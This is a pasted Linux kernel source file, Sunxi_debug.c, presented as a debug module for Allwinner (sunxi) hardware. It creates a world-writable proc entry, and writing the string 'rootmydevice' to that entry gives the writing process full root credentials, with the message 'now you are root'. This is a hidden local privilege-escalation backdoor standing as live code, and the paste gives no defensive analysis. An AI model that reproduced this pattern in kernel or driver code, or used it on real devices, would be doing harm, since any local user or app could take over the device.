Advertisement
Guest User

Sunxi_debug.c

a guest
May 12th, 2016
7,993
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.98 KB | None | 0 0
  1. /*
  2. * Sunxi_debug.c
  3. *
  4. *
  5. * This program is free software; you can redistribute it and/or modify
  6. * it under the terms of the GNU General Public License version 2 as
  7. * published by the Free Software Foundation.
  8. */
  9. #include <linux/kernel.h>
  10. #include <linux/types.h>
  11. #include <linux/export.h>
  12. #include <linux/kthread.h>
  13.  
  14. #include <linux/debugfs.h>
  15. #include <linux/proc_fs.h>//add by fe3o4
  16. #include <linux/uaccess.h>
  17. #include <linux/cred.h>
  18.  
  19. static struct proc_dir_entry *proc_root;
  20. static struct proc_dir_entry * proc_su;
  21.  
  22.  
  23. static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
  24. unsigned long count, void *data)
  25. {
  26. char *buf;
  27. struct cred *cred;
  28.  
  29. if (count < 1)
  30. return -EINVAL;
  31.  
  32. buf = kmalloc(count, GFP_KERNEL);
  33. if (!buf)
  34. return -ENOMEM;
  35.  
  36. if (copy_from_user(buf, buffer, count)) {
  37. kfree(buf);
  38. return -EFAULT;
  39. }
  40.  
  41. if(!strncmp("rootmydevice",(char*)buf,12)){
  42. cred = (struct cred *)__task_cred(current);
  43. cred->uid = 0;
  44. cred->gid = 0;
  45. cred->suid = 0;
  46. cred->euid = 0;
  47. cred->euid = 0;
  48. cred->egid = 0;
  49. cred->fsuid = 0;
  50. cred->fsgid = 0;
  51. printk("now you are root\n");
  52. }
  53.  
  54. kfree(buf);
  55. return count;
  56. }
  57.  
  58.  
  59. static int sunxi_proc_su_read(char *page, char **start, off_t off,
  60. int count, int *eof, void *data)
  61. {
  62. printk("sunxi debug: rootmydevice\n");
  63. return 0;
  64. }
  65.  
  66. static int sunxi_root_procfs_attach(void)
  67. {
  68. proc_root = proc_mkdir("sunxi_debug", NULL);
  69. proc_su= create_proc_entry("sunxi_debug", 0666, proc_root);
  70. if (IS_ERR(proc_su)){
  71. printk("create sunxi_debug dir error\n");
  72. return -1;
  73. }
  74. proc_su->data = NULL;
  75. proc_su->read_proc = sunxi_proc_su_read;
  76. proc_su->write_proc = sunxi_proc_su_write;
  77. return 0;
  78.  
  79. }
  80.  
  81. static int sunxi_debug_init(void)
  82. {
  83. int ret;
  84. ret = sunxi_root_procfs_attach();
  85. printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
  86. if(ret){
  87. printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
  88. }
  89. return ret;
  90. }
  91.  
  92. subsys_initcall(sunxi_debug_init);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement